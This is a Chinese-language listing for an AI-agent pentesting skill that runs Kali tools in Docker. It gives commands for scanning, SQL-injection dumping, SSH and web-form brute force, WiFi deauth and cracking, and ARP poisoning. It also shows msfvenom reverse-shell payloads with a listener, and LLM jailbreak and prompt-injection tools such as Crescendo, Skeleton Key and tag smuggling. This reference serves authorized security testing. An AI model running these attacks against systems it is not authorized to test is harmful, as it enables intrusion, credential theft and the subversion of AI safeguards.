mcpField
K
kali-docker-pentesting

kali-docker-pentesting

github.com/kroegha安全24206 次安装15 周前更新
代码仓库

关于 kali-docker-pentesting

为 Kali Linux Docker 容器提供命令执行指导的渗透测试技能,适用于安全测试人员。它围绕包含 200 多种工具的容器提供管理与用法说明,并通过 bash_tool 直接执行命令,而非使用 MCP 服务。

主要功能

  1. 01通过 bash_tool 直接执行容器命令
  2. 02管理 Kali 容器的启动与更新
  3. 03涵盖网络扫描和 Web 应用测试
  4. 04提供密码测试与信息收集工具

适用场景

  1. 01在授权环境中扫描网络主机与端口
  2. 02检查 Web 应用和服务器配置
  3. 03进行密码安全测试
  4. 04收集域名、DNS 与公开信息

MCP 相关

该技能说明其通过 bash_tool 直接执行命令,而不是使用 MCP 服务。

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/kroegha/kali-docker-pentesting --skill kali-docker-pentesting

安装后在 Claude Code 中输入/kali-docker-pentesting确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

Dockerfile
docker-compose.yml
README.md
QUICK-START.md

详细介绍

Kali Docker 渗透测试技能

概述

本技能提供对包含 200+ 渗透测试工具的全面 Kali Linux Docker 容器的智能访问。本技能不使用 MCP 服务,而是通过 bash_tool 实现直接命令执行,token 效率提升 70%。

本主机上的规范名称(请原样使用——本技能的早期版本使用了裸 kali,这不匹配正在运行的容器):

  • 镜像: kali-comprehensive:latest(构建自 github.com/kroegha/kali-docker-pentesting:基础镜像 kalilinux/kali-rolling:latest + Kali 元包 + Python 安全库)
  • 容器: kali-pentest(长期运行;用 docker ps -a 检查)

运行命令前请先验证:docker ps --filter name=kali-pentest。如果某台机器上的容器名称不同,请在下面的 docker exec 调用中替换它。

容器管理

启动容器
# Basic start
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  kali-comprehensive

# With network capabilities (for actual scanning)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  --cap-add=NET_RAW \
  --cap-add=NET_ADMIN \
  --network host \
  kali-comprehensive

# With GUI access (VNC)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -p 5900:5900 \
  -p 3389:3389 \
  kali-comprehensive
运行命令
# Execute single command
docker exec kali-pentest [tool] [options]

# Interactive shell
docker exec -it kali-pentest /bin/bash

# Copy files out
docker cp kali-pentest:/results/scan.txt ./output/

# Copy files in
docker cp ./wordlist.txt kali-pentest:/workspace/
容器生命周期
# Stop container
docker stop kali-pentest

# Start existing container
docker start kali-pentest

# Remove container
docker rm kali-pentest

# View logs
docker logs kali-pentest
更新容器操作系统与工具

Kali 是滚动发布——没有版本升级,只需拉取最新软件包。由于容器中包含 200+ 个安装耗时很长的工具,请就地更新并提交,而不是从头重新构建。

# 1. Back up the current image first (instant, enables rollback)
docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)

# 2. Full-upgrade all packages inside the running container (non-interactive, keep existing configs)
docker exec kali-pentest bash -c \
  'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
   apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
   apt-get -y autoremove && apt-get clean'

# 3. Persist the upgraded state back into the image
docker commit kali-pentest kali-comprehensive:latest

# Roll back if an upgrade breaks something:
#   docker tag kali-comprehensive:backup-YYYY-MM-DD kali-comprehensive:latest

全新重建(备选方案): 要从最新的基础镜像获得一个全新的、更小的镜像,请克隆仓库并重新构建——速度较慢(会重新下载所有内容)但可复现:

git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build

工具目录

🔍 网络发现与扫描

nmap - 网络映射器

描述: 行业标准的网络扫描器,用于主机发现、端口扫描和服务检测。

用法:

# Basic scan
docker exec kali-pentest nmap 192.168.1.1

# Service version detection
docker exec kali-pentest nmap -sV 192.168.1.1

# OS detection
docker exec kali-pentest nmap -O 192.168.1.1

# Comprehensive scan
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1

# Save results
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24

常用选项:

  • -sS - SYN 隐蔽扫描
  • -sT - TCP 连接扫描
  • -sU - UDP 扫描
  • -sV - 版本检测
  • -O - 操作系统检测
  • -A - 激进扫描(操作系统、版本、脚本、路由追踪)
  • -p- - 扫描全部 65535 个端口
  • -Pn - 跳过 ping(假定主机在线)
  • -T4 - 更快的时序(0-5)
  • -oA - 输出所有格式
masscan - 快速端口扫描器

描述: 极快的端口扫描器,可在 6 分钟内扫描整个互联网。

用法:

# Scan specific ports
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080

# Scan all ports fast
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000

# Save results
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
netdiscover - 网络发现

描述: 主动/被动 ARP 侦察工具。

用法:

# Passive mode
docker exec kali-pentest netdiscover -p -i eth0

# Active mode with range
docker exec kali-pentest netdiscover -r 192.168.1.0/24
arp-scan - ARP 扫描器

描述: 使用 ARP 发现 IPv4 主机。

用法:

docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24

🌐 Web 应用测试

nikto - Web 服务器扫描器

描述: Web 服务器漏洞扫描器。

用法:

# Basic scan
docker exec kali-pentest nikto -h http://target.com

# SSL scan
docker exec kali-pentest nikto -h https://target.com -ssl

# Save results
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Tuning options
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde
dirb - 目录暴力破解器

描述: Web 内容扫描器。

用法:

# Default wordlist
docker exec kali-pentest dirb http://target.com

# Custom wordlist
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Save results
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt

# Extensions
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt
gobuster - 目录/DNS 枚举

描述: 快速目录和 DNS 枚举工具。

用法:

# Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# DNS subdomain enumeration
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Virtual host discovery
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
wfuzz - Web 模糊测试器

描述: Web 应用模糊测试器。

用法:

# Directory fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ

# Parameter fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ

# POST data fuzzing
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
sqlmap - SQL 注入工具

描述: 自动化 SQL 注入和数据库接管工具。

用法:

# Basic test
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"

# POST request
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Enumerate databases
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs

# Dump database
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump

# Full automation
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all
wpscan - WordPress 扫描器

描述: WordPress 漏洞扫描器。

用法:

# Basic scan
docker exec kali-pentest wpscan --url http://target.com

# Enumerate users
docker exec kali-pentest wpscan --url http://target.com --enumerate u

# Enumerate plugins
docker exec kali-pentest wpscan --url http://target.com --enumerate p

# Aggressive scan
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe
whatweb - 网站指纹识别

描述: 识别网站和 Web 技术。

用法:

# Basic scan
docker exec kali-pentest whatweb http://target.com

# Aggressive mode
docker exec kali-pentest whatweb -a 3 http://target.com

# Scan multiple URLs
docker exec kali-pentest whatweb -i /workspace/urls.txt

🔐 密码攻击

john - John the Ripper

描述: 快速密码破解器。

用法:

# Crack with default wordlist
docker exec kali-pentest john /workspace/hashes.txt

# Use rockyou wordlist
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt

# Crack specific format
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt

# Show cracked passwords
docker exec kali-pentest john --show /workspace/hashes.txt

# Incremental mode
docker exec kali-pentest john --incremental /workspace/hashes.txt
hashcat - 高级密码恢复

描述: 世界上最快的密码破解器。

用法:

# MD5 crack
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256 crack
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt

# Brute force
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Show results
docker exec kali-pentest hashcat -m 0 hashes.txt --show

哈希模式:

  • 0 = MD5
  • 100 = SHA1
  • 1400 = SHA256
  • 1700 = SHA512
  • 1000 = NTLM
  • 3200 = bcrypt
hydra - 网络密码破解器

描述: 快速网络登录破解器。

用法:

# SSH brute force
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# HTTP POST form
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1

# Multiple protocols
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
medusa - 并行密码破解器

描述: 快速、并行、模块化的登录暴力破解器。

用法:

# SSH attack
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh

# HTTP basic auth
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
crunch - 字典生成器

描述: 生成自定义字典。

用法:

# Generate 6-8 character wordlist
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt

# Custom charset
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt

# Pattern-based
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt

📡 无线安全

aircrack-ng - WiFi 安全套件

描述: 用于评估 WiFi 网络安全的完整套件。

用法:

# Start monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Capture packets
docker exec kali-pentest airodump-ng wlan0mon

# Capture specific network
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Deauth attack
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
wifite - 自动化无线攻击

描述: 自动化无线攻击工具。

用法:

# Automatic WPA attack
docker exec kali-pentest wifite --wpa

# All attack types
docker exec kali-pentest wifite

# Specific target
docker exec kali-pentest wifite -i wlan0 --kill
reaver - WPS 攻击

描述: 暴力破解 WPS PIN。

用法:

docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

🕵️ 信息收集

theharvester - 邮箱/子域名收集

描述: 从公开来源收集邮箱、子域名、IP。

用法:

# Search all sources
docker exec kali-pentest theharvester -d target.com -b all

# Specific source
docker exec kali-pentest theharvester -d target.com -b google

# Save results
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest
dnsrecon - DNS 枚举

描述: DNS 枚举与网络侦察。

用法:

# Standard enumeration
docker exec kali-pentest dnsrecon -d target.com

# Zone transfer
docker exec kali-pentest dnsrecon -d target.com -a

# Brute force subdomains
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
sublist3r - 子域名枚举

描述: 使用 OSINT 进行快速子域名枚举。

用法:

# Basic enumeration
docker exec kali-pentest sublist3r -d target.com

# Enable brute force
docker exec kali-pentest sublist3r -d target.com -b

# Save results
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt
enum4linux - SMB 枚举

描述: 用于从 Windows 和 Samba 系统枚举信息的工具。

用法:

# Full enumeration
docker exec kali-pentest enum4linux -a 192.168.1.1

# User enumeration
docker exec kali-pentest enum4linux -U 192.168.1.1

# Share enumeration
docker exec kali-pentest enum4linux -S 192.168.1.1
dmitry - 深度信息收集

描述: Deepmagic 信息收集工具。

用法:

# Full scan
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com

# Subdomain search
docker exec kali-pentest dmitry -s target.com

🛡️ 漏洞利用框架

metasploit-framework - 渗透测试框架

描述: 世界上使用最广泛的渗透测试框架。

用法:

# Start msfconsole
docker exec -it kali-pentest msfconsole

# Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe

# Search exploits
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"

# Run resource script
docker exec kali-pentest msfconsole -r /workspace/script.rc

常用的 msfvenom payload:

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
social-engineer-toolkit (SET)

描述: 社会工程学渗透测试框架。

用法:

# Start SET
docker exec -it kali-pentest setoolkit

🔬 取证与分析

binwalk - 固件分析

描述: 分析并提取固件镜像。

用法:

# Scan for embedded files
docker exec kali-pentest binwalk /workspace/firmware.bin

# Extract files
docker exec kali-pentest binwalk -e /workspace/firmware.bin

# Signature scan
docker exec kali-pentest binwalk --signature /workspace/file.bin
foremost - 文件雕刻

描述: 基于文件头和文件尾恢复文件。

用法:

# Recover all file types
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered

# Specific file types
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
volatility - 内存取证

描述: 高级内存取证框架。

用法:

# Get image info
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo

# List processes
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist

# Dump process
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
strings - 提取字符串

描述: 从文件中提取可打印字符串。

用法:

# Basic extraction
docker exec kali-pentest strings /workspace/binary > /results/strings.txt

# Minimum length 10
docker exec kali-pentest strings -n 10 /workspace/binary

# Unicode strings
docker exec kali-pentest strings -e l /workspace/binary
exiftool - 元数据提取

描述: 读取和写入文件中的元信息。

用法:

# View metadata
docker exec kali-pentest exiftool /workspace/image.jpg

# Remove all metadata
docker exec kali-pentest exiftool -all= /workspace/image.jpg

# Batch process
docker exec kali-pentest exiftool /workspace/*.jpg

🔄 逆向工程

ghidra - 软件逆向工程

描述: NSA 的软件逆向工程框架。

用法:

# GUI mode (requires X11 forwarding)
docker exec -it kali-pentest ghidra

# Headless mode
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe
radare2 - 逆向工程框架

描述: 高级逆向工程框架。

用法:

# Open binary
docker exec -it kali-pentest r2 /workspace/binary

# Analyze
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"

# Disassemble
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary
gdb - GNU 调试器

描述: Unix 系统的标准调试器。

用法:

# Debug binary
docker exec -it kali-pentest gdb /workspace/binary

# With PEDA
docker exec -it kali-pentest gdb -q /workspace/binary

🎯 漏洞评估

lynis - 安全审计

描述: 用于 Unix/Linux 系统的安全审计工具。

用法:

# Full audit
docker exec kali-pentest lynis audit system

# Quick scan
docker exec kali-pentest lynis audit system --quick
nikto - Web 漏洞扫描器

(参见 Web 应用测试章节)

openvas - 漏洞扫描器

描述: 功能齐全的漏洞扫描器。

用法:

# Start OpenVAS (requires initialization)
docker exec kali-pentest openvas-start

🤖 大模型 / 提示词注入测试

用于评估 由大模型驱动的应用(聊天机器人、RAG 系统、AI Agent)是否存在提示词注入、越狱、数据泄露及相关 GenAI 风险的工具。这些工具并非 Kali 自带——它们已被添加到本镜像中(参见更新容器)。

安装布局(相互隔离,以避免与 Kali 中由 apt 管理的系统 Python 发生冲突):

工具安装方式调用方式
garakpipx(全局)garak
agentic-radarpipx(全局)agentic-radar
promptfoonpm(全局)promptfoo
promptmap2git clone /opt/promptmapcd /opt/promptmap && python3 promptmap2.py
PyRITvenv /opt/venvs/pyrit/opt/venvs/pyrit/bin/python
fuzzyaivenv /opt/venvs/fuzzyai/opt/venvs/fuzzyai/bin/fuzzyai

运行任何工具之前:

  • 每个工具都会通过网络测试一个目标大模型,并且大多数还会使用一个评判/攻击大模型——因此你既需要能够访问目标,又需要评判模型的 API key(OPENAI_API_KEY、ANTHROPIC_API_KEY 或 Azure 凭据)。
  • 切勿将 key 烘焙进镜像。 请在运行时通过仅存于宿主机上的 env 文件传入:
    # host: keys.env  (chmod 600, never commit)
    #   OPENAI_API_KEY=sk-...
    docker run --rm --env-file keys.env kali-comprehensive garak --help
    # or for the long-running container, set per-exec:
    docker exec -e OPENAI_API_KEY=sk-... kali-pentest garak --list_probes
    
  • 让工具指向 API 端点,而非本地模型——加载本地 HF 模型需要 GPU,而容器没有 GPU。
garak - 大模型漏洞扫描器(“大模型界的 nmap”)

描述: NVIDIA 的广覆盖探针/检测器扫描器(提示词注入、越狱、数据泄露、编码攻击、有害内容)。可作为首选的基准测试;生成带评分的报告。正在积极维护。

用法:

# List available probes
docker exec kali-pentest garak --list_probes

# Prompt-injection scan of an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --probes promptinject

# Full scan, JSON report to /results
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak
promptmap2 - 定向提示词注入扫描器

描述: 专为特定应用打造的注入测试工具。支持白盒(提供系统提示词)或黑盒(指向 HTTP 端点)。YAML 规则类别:越狱、提示词窃取、有害、干扰、偏见。安装在 /opt/promptmap 下。

用法:

# Test your app's system prompt against an OpenAI target (needs OPENAI_API_KEY)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
  'cd /opt/promptmap && python3 promptmap2.py \
     --prompts /workspace/system_prompt.txt \
     --target-model gpt-4o-mini --target-model-type openai'
# target-model-type: openai | anthropic | google | ollama | xai | http (black-box endpoint)
promptfoo - 红队与评测框架(标准映射)

描述: 基于 Node 的命令行工具。红队模式通过 50+ 插件(提示词注入、越狱、PII、过度代理)自动生成对抗性提示词,并将发现的问题映射到 OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS —— 最适合可重复、可报告的项目。

用法:

# Initialise a red-team config, then run it
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  bash -c 'cd /workspace && promptfoo redteam run'
PyRIT - 多轮 AI 红队框架

描述: Microsoft 的可脚本化框架,用于针对 OpenAI/Azure/Anthropic/自定义 HTTP 目标进行更深入的多轮攻击(Crescendo、TAP、Skeleton Key)。它是一个 Python 库,而不是一次性命令行工具 —— 当 garak/promptmap 发现问题后,用它来“深入挖掘”。依赖体积最大。

用法:

# Run a PyRIT attack script with the PyRIT venv's Python (write the script to /workspace first)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py
agentic-radar - Agentic 工作流扫描器

描述: SplxAI 的静态分析扫描器,面向 agentic 应用(LangGraph、CrewAI、OpenAI Agents SDK、n8n、MCP 工具)。它绘制 Agent/工具拓扑并标记 garak/promptmap 无法发现的漏洞。当目标是 Agent 而非裸模型时使用。

用法:

# Scan an agent project mounted into the container, HTML report to /results
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html
fuzzyai - 激进越狱模糊测试器

描述: CyberArk 的大模型模糊测试器,专注于越狱 —— ASCII/Unicode 标签走私、遗传对抗后缀、many-shot。支持多提供商。安装在专用 venv /opt/venvs/fuzzyai 中(其上游 torch/numpy 版本锁定已放宽以兼容 Python 3.13)。子命令:fuzz 和 webui。查看 wiki 获取完整的攻击模式列表,该列表会随版本变化。

用法:

# Single-prompt jailbreak fuzz against an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
#   -m model  -a attack_modes  -t target_prompt  (-T file for many prompts, -s system prompt)
参考框架(在报告中引用这些)
  • OWASP Top 10 for LLM Applications (2025) —— LLM01 = 提示词注入。https://genai.owasp.org/llm-top-10/
  • MITRE ATLAS —— 面向 AI 系统的对抗性威胁矩阵。https://atlas.mitre.org/
  • NIST AI RMF(生成式 AI 配置文件) —— promptfoo/DeepTeam 映射所引用的风险框架。

📊 网络分析

tcpdump - 数据包捕获

描述: 命令行数据包分析器。

用法:

# Capture on interface
docker exec kali-pentest tcpdump -i eth0

# Capture to file
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap

# Read file
docker exec kali-pentest tcpdump -r /results/capture.pcap

# Filter HTTP
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'
tshark - 网络协议分析器

描述: 基于终端的 Wireshark。

用法:

# Capture packets
docker exec kali-pentest tshark -i eth0

# Capture to file
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap

# Filter display
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'
ettercap - 网络嗅探/拦截器

描述: 用于 MITM 攻击的综合套件。

用法:

# Text mode
docker exec -it kali-pentest ettercap -T -i eth0

# ARP poisoning
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

常见渗透测试工作流

1. 网络侦察

# Step 1: Discover live hosts
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts

# Step 2: Port scan discovered hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports

# Step 3: Enumerate services
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services

2. Web 应用评估

# Step 1: Identify web technologies
docker exec kali-pentest whatweb http://target.com

# Step 2: Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt

# Step 3: Vulnerability scan
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Step 4: Test for SQLi
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch

3. 密码破解工作流

# Step 1: Generate wordlist
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt

# Step 2: Crack hashes
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt

# Step 3: Network service brute force
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1

4. 无线网络评估

# Step 1: Enable monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Step 2: Scan networks
docker exec kali-pentest airodump-ng wlan0mon

# Step 3: Capture handshake
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Step 4: Deauth clients
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Step 5: Crack WPA
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap

5. 漏洞利用工作流

# Step 1: Search for exploit
docker exec kali-pentest searchsploit apache 2.4.49

# Step 2: Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe

# Step 3: Setup listener in Metasploit
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"

文件管理

在主机与容器之间复制文件

# Copy TO container
docker cp ./local-file.txt kali-pentest:/workspace/

# Copy FROM container
docker cp kali-pentest:/results/scan.txt ./output/

# Copy directory
docker cp kali-pentest:/results/ ./output/

使用字典文件

常见字典文件位置:

  • /usr/share/wordlists/rockyou.txt - 最常用的密码列表
  • /usr/share/wordlists/dirb/common.txt - 常见目录
  • /usr/share/seclists/ - SecLists 集合
  • /usr/share/wordlists/metasploit/ - Metasploit 字典文件
# List available wordlists
docker exec kali-pentest find /usr/share/wordlists -type f

# Extract rockyou (if gzipped)
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz

故障排除

容器无法启动

# Check logs
docker logs kali-pentest

# Remove and recreate
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive

网络问题

# Use host network
docker run -d --name kali-pentest --network host kali-comprehensive

# Add network capabilities
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive

权限问题

# Run as root (already default)
docker exec -u root kali-pentest [command]

# Fix workspace permissions
docker exec kali-pentest chmod -R 777 /workspace /results

Metasploit 数据库问题

# Initialize database
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init

# Check status
docker exec kali-pentest msfdb status

最佳实践

1. 始终保存结果

# Use output flags
-o filename.txt          # Generic output
-oA basename            # Nmap: all formats
-w filename             # Write to file
> /results/output.txt   # Shell redirect

2. 使用卷实现持久化

为以下内容挂载卷:

  • /workspace - 工作文件
  • /results - 扫描结果
  • /wordlists - 自定义字典文件

3. 明确测试范围

始终:

  • 获取书面授权
  • 定义范围边界
  • 记录所有内容
  • 负责任地报告发现

4. 测试后清理

# Stop monitor mode
docker exec kali-pentest airmon-ng stop wlan0mon

# Clear temporary files
docker exec kali-pentest rm -rf /tmp/*

# Archive results
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt

快速参考

端口扫描

docker exec kali-pentest nmap -sV -p- target

目录枚举

docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

SQL 注入

docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch

密码破解

docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

网络暴力破解

docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target

WiFi 破解

docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap

何时使用此技能

在以下情况下使用此技能:

  • 进行授权的渗透测试
  • 执行安全评估
  • 测试网络安全
  • 分析 Web 应用程序
  • 破解密码(已授权)
  • 无线安全审计
  • 取证分析
  • 逆向工程
  • 学习安全技术

Claude 将读取此技能并通过 bash_tool 执行命令,无需 MCP 协议开销即可高效、直接地访问所有渗透测试工具。

评论

支持 Markdown